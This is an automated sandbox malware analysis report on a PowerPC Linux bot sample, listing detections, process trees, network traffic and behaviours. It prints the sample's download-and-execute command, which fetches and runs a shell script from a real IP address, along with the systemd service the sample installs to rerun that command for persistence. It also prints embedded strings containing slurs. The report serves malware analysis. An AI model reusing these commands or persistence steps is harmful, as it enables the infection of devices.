Edit tour

Linux Analysis Report
powerpc.elf

Overview

General Information

Sample name:	powerpc.elf
Analysis ID:	1583212
MD5:	f3503d76d1c3b1a16de456dad9ceaf05
SHA1:	60ffd9ff7e53b3d351da9ddc625651b8f74b44f6
SHA256:	064a789489e5889f35d05ac23b42c48989f93ae8103ced495be68534847b5738
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583212
Start date and time:	2025-01-02 08:51:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	powerpc.elf
Detection:	MAL
Classification:	mal68.evad.linELF@0/4@125/0

Warnings

VT rate limit hit for: tcpdown.su1@1|

Runtime Messages

Command:	/tmp/powerpc.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

powerpc.elf (PID: 5432, Parent: 5356, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/powerpc.elf

powerpc.elf New Fork (PID: 5436, Parent: 5432)

powerpc.elf New Fork (PID: 5438, Parent: 5436)

powerpc.elf New Fork (PID: 5616, Parent: 5438)

powerpc.elf New Fork (PID: 5618, Parent: 5438)

powerpc.elf New Fork (PID: 5627, Parent: 5438)

powerpc.elf New Fork (PID: 5635, Parent: 5438)

powerpc.elf New Fork (PID: 5637, Parent: 5438)

powerpc.elf New Fork (PID: 5643, Parent: 5438)

powerpc.elf New Fork (PID: 5663, Parent: 5438)

powerpc.elf New Fork (PID: 5665, Parent: 5438)

powerpc.elf New Fork (PID: 5721, Parent: 5438)

powerpc.elf New Fork (PID: 5723, Parent: 5438)

powerpc.elf New Fork (PID: 5731, Parent: 5438)

powerpc.elf New Fork (PID: 5734, Parent: 5438)

powerpc.elf New Fork (PID: 5742, Parent: 5438)

powerpc.elf New Fork (PID: 5746, Parent: 5438)

powerpc.elf New Fork (PID: 5775, Parent: 5438)

powerpc.elf New Fork (PID: 5777, Parent: 5438)

powerpc.elf New Fork (PID: 5786, Parent: 5438)

powerpc.elf New Fork (PID: 5788, Parent: 5438)

powerpc.elf New Fork (PID: 5796, Parent: 5438)

powerpc.elf New Fork (PID: 5800, Parent: 5438)

powerpc.elf New Fork (PID: 5811, Parent: 5438)

powerpc.elf New Fork (PID: 5813, Parent: 5438)

powerpc.elf New Fork (PID: 5824, Parent: 5438)

powerpc.elf New Fork (PID: 5829, Parent: 5438)

powerpc.elf New Fork (PID: 5838, Parent: 5438)

powerpc.elf New Fork (PID: 5841, Parent: 5438)

powerpc.elf New Fork (PID: 5852, Parent: 5438)

powerpc.elf New Fork (PID: 5854, Parent: 5438)

powerpc.elf New Fork (PID: 5860, Parent: 5438)

powerpc.elf New Fork (PID: 5862, Parent: 5438)

powerpc.elf New Fork (PID: 5874, Parent: 5438)

powerpc.elf New Fork (PID: 5876, Parent: 5438)

powerpc.elf New Fork (PID: 5884, Parent: 5438)

powerpc.elf New Fork (PID: 5887, Parent: 5438)

powerpc.elf New Fork (PID: 5889, Parent: 5438)

powerpc.elf New Fork (PID: 5901, Parent: 5438)

powerpc.elf New Fork (PID: 5903, Parent: 5438)

powerpc.elf New Fork (PID: 5911, Parent: 5438)

powerpc.elf New Fork (PID: 5915, Parent: 5438)

powerpc.elf New Fork (PID: 5928, Parent: 5438)

powerpc.elf New Fork (PID: 5935, Parent: 5438)

powerpc.elf New Fork (PID: 5440, Parent: 5436)

powerpc.elf New Fork (PID: 5444, Parent: 5440)

powerpc.elf New Fork (PID: 5442, Parent: 5436)

sh (PID: 5442, Parent: 5436, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5446, Parent: 5442)

systemctl (PID: 5446, Parent: 5442, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

powerpc.elf New Fork (PID: 5450, Parent: 5436)

sh (PID: 5450, Parent: 5436, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 5452, Parent: 5450)

systemctl (PID: 5452, Parent: 5450, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

systemd New Fork (PID: 5448, Parent: 5447)

snapd-env-generator (PID: 5448, Parent: 5447, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5454, Parent: 5453)

snapd-env-generator (PID: 5454, Parent: 5453, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 5474, Parent: 1588)

sh (PID: 5474, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 5474, Parent: 1588, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 5479, Parent: 1)

systemd-hostnamed (PID: 5479, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 5610, Parent: 1400)

Default (PID: 5610, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5613, Parent: 1400)

Default (PID: 5613, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5651, Parent: 1)

systemd-user-runtime-dir (PID: 5651, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: powerpc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: powerpc.elf	Virustotal: Detection: 47%			Perma Link
Source: powerpc.elf	ReversingLabs: Detection: 44%

Source: powerpc.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exeG
Source: powerpc.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: powerpc.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdog/made you my bitch
Source: startup_command.service.13.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Source: global traffic	TCP traffic: 192.168.2.13:37552 -> 45.200.149.96:2601
Source: global traffic	TCP traffic: 192.168.2.13:53040 -> 23.94.37.42:2601
Source: global traffic	TCP traffic: 192.168.2.13:40136 -> 45.200.149.249:2601
Source: global traffic	TCP traffic: 192.168.2.13:52436 -> 107.175.130.16:7722
Source: global traffic	TCP traffic: 192.168.2.13:45534 -> 45.200.149.95:2601
Source: global traffic	TCP traffic: 192.168.2.13:59536 -> 45.200.149.167:2601
Source: global traffic	TCP traffic: 192.168.2.13:50404 -> 104.168.33.8:2601
Source: global traffic	TCP traffic: 192.168.2.13:55144 -> 23.94.242.130:2601

Source: /tmp/powerpc.elf (PID: 5432)

Socket: 127.0.0.1:39123

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16

Source: global traffic

DNS traffic detected: DNS query: tcpdown.su1@1|

Source: startup_command.service.13.dr	String found in binary or memory: http://154.216.18.192/auto.sh
Source: powerpc.elf, startup_command.service.13.dr	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exeG
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdog/made you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 727, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 914, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 1805, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 1884, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 2961, result: successful	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	SIGKILL sent: pid: 5474, result: successful	Jump to behavior

Source: classification engine

Classification label: mal68.evad.linELF@0/4@125/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/powerpc.elf (PID: 5438)

Deleted: /dev/kmsg

Jump to behavior

Source: /usr/libexec/gsd-rfkill (PID: 5474)	Directory: <invalid fd (9)>/..	Jump to behavior
Source: /usr/libexec/gsd-rfkill (PID: 5474)	Directory: <invalid fd (8)>/..	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5479)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/powerpc.elf (PID: 5440)	File opened: /proc/238/cmdline	Jump to behavior

Source: /tmp/powerpc.elf (PID: 5442)	Shell command executed: sh -c "systemctl daemon-reload"			Jump to behavior
Source: /tmp/powerpc.elf (PID: 5450)	Shell command executed: sh -c "systemctl enable startup_command.service"			Jump to behavior

Source: /bin/sh (PID: 5446)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 5452)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/powerpc.elf (PID: 5438)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/powerpc.elf (PID: 5432)

File: /tmp/powerpc.elf

Jump to behavior

Source: /tmp/powerpc.elf (PID: 5432)	Queries kernel information via 'uname':			Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5479)	Queries kernel information via 'uname':			Jump to behavior

Source: powerpc.elf, 5903.1.00007f16f4037000.00007f16f4243000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStoreN
Source: powerpc.elf, 5903.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: <V/ppc/var/lib/vmware!\P /var/lib/vmware/VGAuth
Source: powerpc.elf, 5432.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5616.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5618.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5627.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5635.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5637.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5643.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5663.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5665.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5721.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5723.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5731.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5734.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5742.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5746.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5775.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp, powerpc.elf, 5777.1.0000563c0c110000.0000563c0c1c0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: powerpc.elf, 5432.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5616.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5618.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5627.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5635.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5637.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5643.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5663.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5665.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5721.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5723.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5731.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5734.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, powerpc.elf, 5742.1.00007ffd1835e000.00007ffd1837f000.rw-.sdmp, 